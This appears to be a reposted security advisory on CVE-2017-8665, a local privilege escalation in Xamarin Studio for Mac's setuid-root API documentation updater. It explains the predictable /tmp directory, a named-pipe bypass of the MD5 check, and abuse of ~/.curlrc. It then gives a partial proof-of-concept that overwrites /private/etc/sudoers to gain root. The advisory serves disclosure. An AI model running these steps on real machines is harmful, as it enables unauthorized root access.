Xamarin Studio For Mac 6.2.1 (Build 3) / 6.3 (Build 863) Privilege Escalation

Xamarin Studio for Mac versions 6.2.1 (build 3) and 6.3 (build 863) suffer from a local privilege escalation vulnerability.

MD5 | 0eb7c4204f9e48e3f70079bf8624f7da

Xamarin Studio for Mac API documentation update affected by local
privilege escalation
Yorick Koster, April 2017

Xamarin Studio is an Integrated Development Environment (IDE) used to
create iOS, Mac and Android applications. Xamarin Studio supports
developments in C# and F# (by default). The API documentation update
mechanism of Xamarin Studio for Mac is installed as setuid root. This
update mechanism contains several flaws that could be leveraged by a
local attacker to gain elevated (root) privileges.

See also
- CVE-2017-8665

Tested versions
This issue was successfully verified on Xamarin Studio for Mac version
6.2.1 (build 3) and version 6.3 (build 863).

Microsoft released a new version of Xamarin.iOS that addresses this


Looking at the script, the first thing that probably stands out is the fact the script uses an insecure work directory. This directory is created under /tmp, the only 'random' part is the process identifier of the script. Since these identifiers are sequential it is not very hard for an attacker to predict what the folder name will be. It is even possible to pre-create all possible folder names (as symbolic links). The script performs very little error checking, if a certain step fails (eg, the target directory exists) the script usually continues executing the next command.


This folder is used for storing a number of .NET Assemblies (DLLs) that are later used by the mdoc application. If the folder ~/Library/Developer/Shared/Documentation/DocSets does not exist, the script will download a DMG file from internet, mount it and extract files from a PKG files that is located in the DMG file. Since the attacker can control the work directory it is (partially) possible to control where the files are extracted.

Before the DMG is mounted and the files are extracted, the script first checks the MD5 digest of the DMG file against a hard coded value. This check can be circumvented using a named pipe. In this case the attacker can return the original DMG file when the MD5 check is done, and return a different one when it is mounted with hdiutil. Using symbolic links the attacker can control the mount root where the DMG file will be mounted, for example the DMG file can be mounted under /etc. The files located in the DMG file will appear in a folder under this mount root.

# See if we have apple doc and if not get it
if test -d $APPLE_DOCSET_PATH; then

if test x$TMPDIR = x; then
echo TMPDIR is invalid.
exit 1

mkdir $TMPDIR
curl -o $target_path $full_url
#cp /tmp/ios-docs-download.4184/091-9917-A.dmg $target_path
sum=`md5 -q $target_path`
if test x$sum = x$EXPECTED; then
mkdir $mount_path
if hdiutil attach $target_path -mountroot $mount_path -nobrowse > $TMPDIR/output; then
dir_path=`awk '$2 ~ /Apple_HFS/ { print $3}' $TMPDIR/output`
pkgutil --expand $dir_path/iOSDocset.pkg $tmp_unpack

cd $tmp_unpack
bzip2 < Payload | cpio -dmiv

A local attacker could in theory craft an attack that creates a folder at a particular location, which is used by another process running with elevated privileges. An example would be to mount the DMG at /etc/sudoers.d to add a sudo configuration that allows the local user to run a command as root without requiring a password. On most systems the /etc/sudoers.d is already present, in this case hdiutil will mount the DMG at another location (usually /etc/sudoers.d 2) preventing this particular attack scenario.

Another approach for attacking this script is to look at the binaries it uses. Often these binaries have their own set of environment variables and or configuration files they use. In case of setuid root binaries the environment is partly controllable by the user calling the binary. One of the binaries used is curl that supports a number of environment variables. In addition, it checks whether a configuration file is present in ~/.curlrc. In our case it will check the home folder of the user running apple-doc-wizard. Consequently, the curl configuration file is fully controllable by the local attacker. Exploiting this issue is very trivial, using the url and output configuration options it is possible to download a file from any URL and store it in any arbitrary location. Since curl is run as root, it is possible to overwrite or create any local file. The following proof of concept can be used to demonstrate this issue:

# WARNING: this scripts overwrites ~/.curlrc and /private/etc/sudoers (when successful)
rm -rf ~/Library/Developer/Shared/Documentation/DocSets

cat << __EOF > /private/tmp/sudoers

cat << __EOF > ~/.curlrc

echo "*** press CRL+C when the download starts ***"

sudo -- sh -c 'rm -rf /private/tmp/ios-docs-download.*; su -'

rm -f /private/tmp/sudoers ~/.curlrc

Related Posts